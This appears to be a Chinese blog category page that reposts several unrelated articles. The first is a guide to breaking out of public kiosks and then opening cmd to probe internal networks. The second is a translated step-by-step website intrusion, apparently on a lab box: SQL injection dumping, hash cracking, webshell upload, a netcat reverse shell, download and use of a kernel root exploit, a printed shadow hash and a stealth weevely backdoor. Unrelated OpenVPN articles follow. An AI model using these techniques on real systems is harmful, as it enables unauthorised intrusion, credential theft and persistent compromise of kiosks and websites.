分类 展示类 下的文章

安全科普:终端机安全,教你如何搞定各种各样的终端机

早上微博收到一条at,是SniFFeR.Pro团队的p0tt1发表了一篇关于终端机安全的总结文章,看了下总结的很到位,文章写的很用心,非常感谢p0tt1的分享,我把这个文章转载到我博客分享一下,顺便再加两个简单粗暴的方法

1.到终端机后部找电源线,直接拔掉再插上等待重启。

2.到终端机后部或者侧面找关机或重启一类的按钮。
这两种方法进去之后一般是windows桌面,或者几秒钟后自动弹出软件。

 

文章尾部已附上来源地址。 

特别声明:本文提供一些绕过终端机的方法,仅用于安全学习及教学用图,禁止非法利用。本文旨在提高市面上终端机的安全性,避免其遭到恶意破坏。

定场诗

妖都地铁售票终端      不知道肿么了,cmd君出来say hi了~
帝都机场导航终端      堪称业界典范,但是好像不经戳啊~
魔都地铁售票终端      一向规规矩矩大家闺秀,小内内能不能不侧漏?
6C古都社区缴费终端    击键限制好像罢工了,双击单击三连击,根本停不下来?
...
......

写在前面

之前笔者在微信上经常曝光一些搞定的终端机的图片,引起了大家的兴趣,当然了,每次搞定的方法都不一样,并且手机回复大家挨个回复过程实在是有够XO,于是乎有了此文,能够总结下方法,自认大牛级别的绕过,因为您总有不一样的方法搞定,并且您的槽点总是那么的低,给你一记么么哒,下次到评论楼层登门拜访。这里给科普下我使用过的几种方法和常见的绕过的小技巧。

0×001 什么是终端机?

来来来,上图上图:

好的,类似上图的呢,就是我们常见的终端机了,其实这样的终端机操作性,易用性和实用性都是很不错的,毕竟生活在一个上厕所都排队的环境下,立几台这样的机器确实能解决各种办事单位的办事排队难问题,好的,这不是重点,毕竟我们是来[*]你的!

综上所述:终端机就是被各种变形金刚形状各异的盒子包裹起来的运行着各种各样系统并且能半交互式给客户提供服务的机器!(头一次自己定义,感觉定义好长~~~,女票说:长点好)

恩,好的,那么顺着小编同学经常说的,走近科学:终端机真的安全吗?

广告之后进入下一个环节。

0×002 怎么才算搞定了终端机?

这个搞定嘛,有很多种,比如说开篇提到的各种问题。

弹出和操作cmd(linux当然就shell啦)
显示并可以操作原操作系统的桌面
资源管理器
注册表管理器
````````

总之拿到这些,咱么就算针对该终端机搞定或者获取了权限

其实安全攻防真是很奇妙的事情,防护的措施有成千上万种,黑客攻击的方法就那么几种,但是绕过各种防护措施的方法加上黑客本身会的方法,大家就认为黑客要具备成千上万的技能,我表示有些无语,我们会的,都是你们教的!亦或是你们逼的!(不好意思,我是一个哲人)

0×003 终端机的分类

我的分类比较简单,简单分类有利于下面说针对的绕过方法

  1. 键鼠操作型终端机
  2. 触控操作型终端机

顾名思义,思不了的我真的帮不了你~

0×004 搞定终端机的方法

【键鼠操作型终端机】

这种类型的终端机对我们来说相对方便,因为拥有了键盘和鼠标,操作起来也比较方便。

前面没有提到的是终端机的防护方法,我不想提是因为这些防护方法实在是烂透了,直接讲讲绕过。

这种类型终端机往往会禁用右键,禁用win键,禁用c-a-d组合键(ctrl-alt-del)等等等等

为什么禁用这么多功能还能用呢,因为本身主题界面就是一个网页,所以不影响用户体验

此处可以有图,楼下银行拍的:

从上图可以看见:

很显然是一个ie浏览器,为什么是ie?对比几个浏览器的字体显示和控件表现情况就知道了~

然后系统坑爹的是做了绿色框里面的两个控件框把工具栏,地址栏,设置和显示什么的都遮住了~

之前说过了禁用了很多的按键和组合,所以突然想到alt+f4的同学请自己呵呵下。

上面只是介绍一个典型的案例很多键鼠操作型终端机都是类似这样,面对这样的终端机,大家可以先测试那些方法呢?我们一一排列:

  1. 程序员预留后门尝试:

    你要尝试的是双击右键的尝试,看看会不会有菜单,或三击右键等等~~~这尼玛是程序员自己留的
  2. 很多程序员些程序的时候没有采用固定边框

    什么?可以调节边框?是的,把鼠标顶到一个最顶角,然后单击左键后往屏幕中央拉,咦?是不是很像刮刮乐?桌面君粗线了?
  3. 疯狂点击法

    别笑,再好的程序都有崩溃的可能性,咱么不讨论遮罩那一块的程序,如果你在ie浏览器里不停的点链接,或者是遮罩软件上面那一排前进后退什么的,程序可能就崩溃退出了。(这个方法在很多办事大厅或者药房里屡试不爽,所以,技术搞不定的,麒麟臂就可以!)
  4. 类outlook的方法

    很多网页上有联系我们啊,招聘联络啊,老总信箱啊什么的,你点击以后,浏览器就不争气的去调用outlook去了,打开后你可以在outlook里选择上传附件什么的,弹出文件选择框,然后?然后你找cmd去呗!什么?权限低?没事,还在文件选择框里,这里可以右键了一般,新建1.txt,里面写上cmd,然后重命名1.bat,好的,这下终于可以丢肥皂了。
  5. xss的方法

    我是真的不想说这个,有xss还说个毛线呢?随便找个搜索,然后 弹弹弹~弹出cmd~
  6. 手残法

    长按,鼠标左键点住页面不要松,谁tm知道程序员设置了右键触发时间是多少毫秒?多等会呗,又不会怀孕~
  7. 补充1:

    前面说预留后门什么的长按什么的或者三连击什么,能够看到网页上的右键菜单后怎么办?右键菜单里有“打印”,点开后后下一步啊,安装控件啊什么的,看到“浏览”按钮就行了,点一下,文件选择框就出来了,然后就跟方法4一样了撒
  8. 补充2:不常用的小技巧,比如上面那张图,比如前面的方法都失败了

    你还可以点击一下前进或者后退,刷新也行,这样ie浏览器的输入焦点就在地址栏里了,那么看不见,被挡住了,你就盲输呗,输入:c:\windows\system32\cmd.exe 然后回车,一般直接弹出,不过现在淘汰xp,如果弹不出的话,请在回车后按两次alt+R,这个一般是不封的,这个是win7的ie下载cmd.exe后不是保存而是直接运行的快捷键:

上图上图:

其实还有很多方法,不过就大同小异了,归根结底,要么能弹!要么能调!要么能写!要么能下!

最终能看到你要运行的文件就成功一半,能运行就完全成功了。并不高深~

【触控操作型终端机】

这样的终端机现在很流行了比如这样的:

这样的触屏终端机一般没有完整的键盘和鼠标靠点击和触控来操作,其实搞定它的方法和键鼠操作型的终端机是一样的,你可以这样想,触屏技术就是将手指点触模拟成鼠标操作,那么,鼠标操作跟上文就没去别了撒?

  1. 长按法

    这个一样道理,长按不会怀孕,你就按会儿吧,万一菜单出来了呢?
  2. 多指触控

    就是两个手指或三个手指放在页面上,等待~谁知道程序猿大哥那天吃的药是不是路边摊买的?我就遇到过四指同时长按10秒出菜单的(某车站站台广告屏)
  3. 类苹果系统的操作手势

    这个就像mac的触控板,你一个手指按住另一个手指不停单击(两指或三指模式),然后菜单就出来了
  4. 非固定边框法

    一样道理,有光标的,用手指把光标移动到边角,按住,然后往屏幕中心拖动,可以显示背后的桌面;没有光标的?直接将手指点在边角,按住,往屏幕中心拖。
  5. 对角线法

    这个可能是管理人员为了省事让程序员苦逼做的,就是一个手指放在右下角,一个手指在左上角,同时向屏幕中心移动,然后?然后程序最小化了

弹出菜单之后和键鼠操作型的终端机同理,弹出cmd,看看内网,ipc试试弱口令神马的就行。

0×005 关于系统的补充说明

如果你发现终端机屏幕很小,字体很熟悉,那么请用手势吧,因为他可能就是一个安卓平板或者ipad,五指一抓,清洁溜溜~安卓系统很多应用没写好,疯狂点击就xxx.apk停止运行,继续或退出!

【I】这种问题我是在某连锁酒店的吧台上的终端机(入住)上发现的,就一ipad

【A】某机场手推车上的实时室内地图导航就一优派的安卓平板

0×006 分享和小交流

先发两张魔都地铁售票的,去了两次,二次搞定,不过点了出票测试,地铁票跟嚼了X迈一样,根本停不下来,只好找工作人员解释测试缘由和道歉- -!

对了,魔都的朋友都知道出租车座椅上的某某传媒的终端机吧?

那个也搞定了,如果你也能获取到权限或者让她重启或关机,可以群里联系我哦~一起交流些~和我们SniFFeR.Pro的小伙伴&Freebuf的小伙伴们一起玩耍~

最后嘛,免责也好,增加槽点也好,提醒大家测试请通知管理人员,获得授权,明哲保身,不要做任何违法的事情,否则以后你就只能看着蜀黍玩这种终端机了:

“咦,好像有什么奇怪的东西进来了,恩~~~好像又没什么不对”

[本文为FreeBuf专栏作者p0tt1原创]

原文地址:http://www.freebuf.com/articles/terminal/42295.html

微型设备(Teensy)渗透测试脚本集Kautilya

Kautilya

Kautilya是一个面向微型设备(Teensy)的渗透测试的工具集。这个工具集提供了很多有用的负载和模块,功能包括下载、执行、键盘记录、密码hash抓取等,可以帮助你做好渗透测试。Kautilya在Windows7,Ubuntu11和Mac OS X Lion下测试通过。

下载地址

国外黑客们的入侵网站思路

问题的答案看起来不那么确定,显而易见的是黑掉一个站点有很多种方法。在这篇文章,我们的目标是要给大家展示一下黑客是如何锁定并黑掉一个目标站点的!

让我们来看看目标站点:hack-test.com

hack

先ping下站点所在服务器的IP:

hack

现在我们有了目标站点所在服务器的IP了 — 173.236.138.113

然后我们可以找找同个IP上的其他站点(旁站:sameip.org):

hack

Same IP   26 sites hosted on IP Address 173.236.138.113

ID Domain Site Link
1 hijackthisforum.com hijackthisforum.com
2 sportforum.net sportforum.net
3 freeonlinesudoku.net freeonlinesudoku.net
4 cosplayhell.com cosplayhell.com
5 videogamenews.org videogamenews.org
6 gametour.com gametour.com
7 qualitypetsitting.net qualitypetsitting.net
8 brendanichols.com brendanichols.com
9 8ez.com 8ez.com
10 hack-test.com hack-test.com
11 kisax.com kisax.com
12 paisans.com paisans.com
13 mghz.com mghz.com
14 debateful.com debateful.com
15 jazzygoodtimes.com jazzygoodtimes.com
16 fruny.com fruny.com
17 vbum.com vbum.com
18 wuckie.com wuckie.com
19 force5inc.com force5inc.com
20 virushero.com virushero.com
21 twincitiesbusinesspeernetwork.com twincitiesbusinesspeernetwork.com
22 jennieko.com jennieko.com
23 davereedy.com davereedy.com
24 joygarrido.com joygarrido.com
25 prismapp.com prismapp.com
26 utiligolf.com utiligolf.com

总计有26个站点在[173.236.138.113]这台服务器上。为了黑掉目标站点,许多黑客会把目标站点同服的其他站点也划入攻击范围内。但是出于学习的目的,我们今天暂且将其他站点放在一边。

我们需要更多关于目标站点的信息(Ps:笔者认为在渗透测试过程中,这比实施测试的环节来得重要得多。),他们包括:

1.DNS记录(A,NS,TXT,MX)

2.WEB服务类型(IIS,APACHE,TOMCAT)

3.域名注册者的信息(所持有域名公司等)

4.目标站点管理员(相关人员)的姓名,电话,邮箱和住址等

5.目标站点所支持的脚本类型(PHP,ASP,JSP,ASP.net,CFM)

6.目标站点的操作系统(UNIX,LINUX,WINDOWS,SOLARIS)

7.目标站点开放的端口

让我们先来查询相关DNS记录吧,这里用的是 who.is:

hack

目标站点DNS记录信息:

Record Type TTL Priority Content
hack-test.com A 4 hours 173.236.138.113 ()
hack-test.com SOA 4 hours ns1.dreamhost.com. hostmaster.dreamhost.com. 2011032301 15283 1800 1814400 14400
hack-test.com NS 4 hours ns1.dreamhost.com
hack-test.com NS 4 hours ns3.dreamhost.com
hack-test.com NS 4 hours ns2.dreamhost.com
www.hack-test.com A 4 hours 173.236.138.113 ()

同时确认WEB服务的类型:

hack

显而易见是Apache ,稍后我们将确定其版本:

HACK-TEST.COM SITE INFORMATION

IP: 173.236.138.113

Website Status: active

Server Type: Apache

Alexa Trend/Rank:  1 Month: 3,213,968    3 Month: 2,161,753 Page Views per Visit:  1 Month: 2.0    3 Month: 3.7

现在是时候来查询目标站点持有人(也许可能就是管理员)信息了:

hack

现在我们有了管理员的一些相关信息了,祭出Backtrack5中的神器 Whatweb 来确认操作系统和WEB服务版本信息:

h

hack

Now we found that your site is using a famous php script called WordPress, that your server os is Fedora Linux and that your web server version is (apache 2.2.15), let’s find open ports in your server.

现在我们知道,目标站点使用了用PHP编写的非常出名的开源博客系统WordPress,并且是跑在Fedora的Linux发行版上的,Apache版本是2.2.15。接下来让我们看看目标站点服务器开了哪些端口:

祭出神器Nmap

1 – 获取目标服务器开放的服务

root@bt:/# nmap -sV hack-test.com
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:39 EET
Nmap scan report for hack-test.com (192.168.1.2)
Host is up (0.0013s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.15 ((Fedora))
MAC Address: 00:0C:29:01:8A:4D (VMware)
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds

2 – 获取目标服务器操作系统

root@bt:/# nmap -O hack-test.com 

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:40 EET
Nmap scan report for hack-test.com (192.168.1.2)
Host is up (0.00079s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
22/tcp closed ssh 

80/tcp open http
MAC Address: 00:0C:29:01:8A:4D (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.22 (Fedora Core 6)
Network Distance: 1 hop 

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds

啊哦!~只开了80,而且是 Fedora Core 6 Linux内核版本为2.6.22

现在我们已经收集了很多关于目标站点的重要信息了。让我们扫扫他的漏洞吧。(Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF,等等.)

让我们先试试 Nakto.pl 来扫扫,没准能搞出点漏洞来

root@bt:/pentest/web/nikto# perl nikto.pl -h http://hack-test.com
- Nikto v2.1.4
—————————————————————————
+ Target IP: 192.168.1.2 + Target Hostname: hack-test.com + Target Port: 80 + Start Time: 2011-12-29 06:50:03
—————————————————————————
+ Server: Apache/2.2.15 (Fedora) + ETag header found on server, inode: 12748, size: 1475, mtime: 0x4996d177f5c3b + Apache/2.2.15 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current. + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST + OSVDB-3268: /icons/: Directory indexing found. + OSVDB-3233: /icons/README: Apache default file found. + 6448 items checked: 1 error(s) and 6 item(s) reported on remote host + End Time: 2011-12-29 06:50:37 (34 seconds)
—————————————————————————

hack

同时试试Wa3f(Ps:哦哇谱死的开源项目,很不错的说~)

root@bt:/pentest/web/w3af# ./w3af_gui 

Starting w3af, running on:
Python version:
2.6.5 (r265:79063, Apr 16 2010, 13:57:41)
[GCC 4.4.3]
GTK version: 2.20.1
PyGTK version: 2.17.0 

w3af - Web Application Attack and Audit Framework
Version: 1.2
Revision: 4605
Author: Andres Riancho and the w3af team.

hack

图形界面的扫描方式,写入URL即可。

hack

用以前给杂志社投稿的语气说,泡杯茶的功夫,等待扫描结束并查看结果。

hack

你可以看到很多漏洞信息鸟~先试试SQL注入。

hack

url – http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220 然后 Exploit it!

hack

发现其他漏洞测试失败,用SQLMap进行脱裤吧(猜解数据库并保存目标站点相关信息到本地)  Dump it!

sqlmap -u url

hack

过一小会儿能见到如下信息

hack

按n并回车后你可以看到

hack

哦也~显错方式的注入点,而且爆出的 Mysql的版本信息

用sqlmap取得所有库,参数 -dbs
hack

找到三个库

hack

查Wordpress的库中所有表,参数 -D wordpress -tables

hack

然后是列名(这里需要你自己熟悉敏感信息存在哪个表中呢),参数 -T wp_users -columns

hack

22个字段(列)

hack

然后查数据,参数 -C user_login,user_pass –dump

hack

然后解密管理员的hash,这里用的是 http://www.onlinehashcrack.com/free-hash-reverse.php

hack

明文密码是q1w2e3(和csdn库的密码排行榜有得一拼,哈哈~),然后登入后台拿webshell了。

hack

Get in!~

hack

来传个PHP的webshell吧~这里用的编辑插件拿shell的方法(见我以前写的tips,方法有很多哦~)

hack

hack

牛b。保存就可以了。然后访问就可以看到可爱的webshell了。

hack

灰阔都知道,接下来要提权了。用反弹来获取一个交互式的shell。

hack

本地用nc监听(不得不说经典就是经典啊~)

hack

连上之后

hack

输点Linux命令试试火候

id uid=48(apache) gid=489(apache) groups=489(apache)

pwd /var/www/html/Hackademic_RTB1/wp-content/plugins

uname -a Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux

hack

命令作用我就不翻译了。获取了内核版本,我们可以到 exploit-db.com 来寻找相关的exp进行权限的提升。

老外都是用wget下载的,国内灰阔们呢?

wget http://www.exploit-db.com/download/15285 -O roro.c
--2011-12-28 00:48:01-- http://www.exploit-db.com/download/15285
Resolving www.exploit-db.com... 199.27.135.111, 199.27.134.111
Connecting to www.exploit-db.com|199.27.135.111|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://www.exploit-db.com/download/15285/ [following]
--2011-12-28 00:48:02-- http://www.exploit-db.com/download/15285/
Connecting to www.exploit-db.com|199.27.135.111|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7154 (7.0K) [application/txt]
Saving to: `roro.c' 

0K ...... 100% 29.7K=0.2s

hack
代码我不贴了。用gcc编译exp gcc roro.c -o roro ,编译并且执行exp。

./roro 

[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xe09f0b20
[+] Resolved rds_ioctl to 0xe09db06a
[+] Resolved commit_creds to 0xc044e5f1
[+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting function pointer...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xe09f0b20
[+] Resolved rds_ioctl to 0xe09db06a
[+] Resolved commit_creds to 0xc044e5f1
[+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...

淡定,敲个id试试,你可以发现 root it!

hack

现在可以查看shadow和passwd了~(我只截了部分)

cat /etc/shadow
root:$6$4l1OVmLPSV28eVCT$FqycC5mozZ8mqiqgfudLsHUk7R1EMU/FXw3pOcOb39LXekt9VY6HyGkXcLEO.ab9F9t7BqTdxSJvCcy.iYlcp0:14981:0:99999:7:::

我们可以使用 John the ripper 来破哈希。但是我们不会这么做,通常我们会留下一个后门(权限巩固),这样就可以随时涂掉他首页了(hv a joke.)。

我们用bt5中的weevely来上传一个带密码保护的PHP的webshell。

1 – weevely的相关选项

root@bt:/pentest/backdoors/web/weevely# ./main.py - 

Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/ 

Usage: main.py [options] 

Options:
-h, --help show this help message and exit
-g, --generate Generate backdoor crypted code, requires -o and -p .
-o OUTPUT, --output=OUTPUT
Output filename for generated backdoor .
-c COMMAND, --command=COMMAND
Execute a single command and exit, requires -u and -p
.
-t, --terminal Start a terminal-like session, requires -u and -p .
-C CLUSTER, --cluster=CLUSTER
Start in cluster mode reading items from the give
file, in the form 'label,url,password' where label is
optional.
-p PASSWORD, --password=PASSWORD
Password of the encrypted backdoor . 

-u URL, --url=URL Remote backdoor URL .

2 – 用它来创建一个PHP的webshell

 root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p koko 

Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/ 

+ Backdoor file 'hax.php' created with password 'koko'.

hack
3 – 上传

hack

我们现在可以用weevely连接并操控他了。

hack

测试(其实就相当于一句话马差不多的..)

hack

91ri.org评:老外的行文方式还不错,很好的渗透流程,很标准的科普文~~顺便补充 虽然我对文中wordperss能有sql注射表示费解 因为暂时极少听说存在sql注射(插件除外) 不过应该还是有版本存在的 这个不能说没有。毕竟人写的东西总是会有疏漏的。本文仅仅是为了给大家拓宽思路 希望大家喜欢!

关于OpenVPN文章的目录

本文对前面的关于OpenVPN的文章做一个总结,分了几个类别,也方便自己以后查阅和更正。

一.基本理论篇

1. vpn原理及实现--一般理论

2. vpn原理及实现--隧道的一种实现

3. vpn原理及实现--虚拟网卡构建vpn

4. vpn原理及实现--tcp还是udp

5. Linux平台VPN技术概论

6. Linux平台VPN技术概论(续)

7. VPN技术漫谈之IPSec(附MPLS)

8. TCP封装的隧道对于拥塞控制的意义

9. VPN的概念以及要点

10. SSL VPN和IPSec VPN的区别以及部署

二.基本编译配置篇

1. OpenVPN简易文档

2. OpenVPN-2.1.1在windows上的编译

3. Mac OS X上安装OpenVPN

4. OpenVPN碰到Windows-一些问题的解决

5. OpenVPN遇到的Secondary地址问题

三.源码分析篇

1. OpenVPN的广播问题以及tun和tap设备的深层次挖掘

2. OpenVPN中虚拟ip地址的自定义分配

3. OpenVPN中虚拟ip地址的分配

4. OpenVPN 中虚拟ip地址的自定义分配--总结

5. OpenVPN的日志记录头

6. 使用OpenVPN时的问题--用源代码进行分析

7. OpenVPN关于push-peer-info的实现

四.协议篇

1. OpenVPN协议解析-网络结构之外

2. OpenVPN协议解析-握手数据包分析

3. OpenVPN协议解析-通道/状态机/Reliability层

五.高级路由篇

1. 使用OpenVPN的桥接模式扩展内部局域网

2. OpenVPN的高级路由技术-内部路由

3. OpenVPN高级路由技术-扩展成巨大的网络

4. OpenVPN高级路由技术-反向推送信息

5.  OpenVPN的包过滤机制

6.  OpenVPN高级路由技术-虚拟交换机和内部路由缓存

 

7. OpenVPN高级路由技术-全面的互通性配置

 

 

六.性能相关

1. OpenVPN的效率问题

2. OpenVPN性能-数据采集

3. OpenVPN性能-OpenVPN的第一个瓶颈在tun驱动

4. OpenVPN性能-OpenVPN的第二个瓶颈在ssl加解密

5. OpenVPN性能-当tap遇到bonding

6. OpenVPN性能-多OpenVPN共享一个虚拟网卡

七.功能实现

1. OpenVPN的新钩子设计

2. 让OpenVPN实现IKE似的两阶段密钥协商

3. 返璞归真实现OpenVPN第二阶段协商

4. 完全在用户态实现IPSec VPN

 

 

本文转自http://blog.csdn.net/dog250/article/details/6990814 感谢原作者的分享。

完全在用户态实现IPSec VPN

IPSec的复杂性之一在于它和内核协议栈实现高度相关,造成升级和管理的不便,如果能在用户态实现IPSec,那么所有的客户端就可以使用这种用户态的IPSec了。
需要特别注意的是,如果你拥有一台IPSec硬件网关,那么不考虑NAT穿越的情况下其实IPSec也是很不错的,IPSec的困难在于客户端,特别是PC上或者中等服务器上的客户端,如果使用用户态的IPSec,那么IPSec起码能和OpenVPN一样好,比OpenVPN好的就是能和IPsec对端进行无缝衔接。其次你要知道,IPSec分为两大部分,第一部分是密钥协商和安全认证相关的,这部分都是在用户态实现的,比如racoon。第二部分是封装协议,这部分一般都在内核实现,比如使用Netfilter,或者xfrm。
完全可以通过两个虚拟网卡来实现用户态的IPsec,这样IPSec的部署将简化很多,和内核协议栈彻底脱离干系。并且由于在用户态实现,IPSec使用的协议也会灵活很多,如果需要和远端的IPSec网关无缝衔接,那么必要的是实现IKE和ESP/AH等协议,IKE的开源实现已经很多了,那么需要做的仅仅是封装ESP/AH了。如果不需要兼容ESP/AH,那么完全可以实现自己的封装,甚至只用GRE或者IPIP封装都可以,当然,你可以自定义任何自己的协议,很方便,很灵活。然而如果使用自定义的协议,修改一边就不妥了,对端也要支持这个自定义的封装协议才行,有两个方式可用,第一就是在对端加载内核模块,使用内核的方式进行支持,在linux上无非就是注册一个协议而已,当然你也可以用netfilter实现;另外一种方案就是和客户端一样,也使用用户态的实现。
那么,到底如何实现呢?由于时间关系,我的代码只调通了一半,但是思路很清晰,那就是使用af_packet套接字直接写IP封装后的以太帧,IP上层用ESP封装。当然也可以使用raw套接字。不管怎么说,下面这个图应该可以表达一些信息:

用户态实现IPSec的要点有两点,其一是TUN虚拟网卡的活用,其二是af_packet/raw套接字的使用。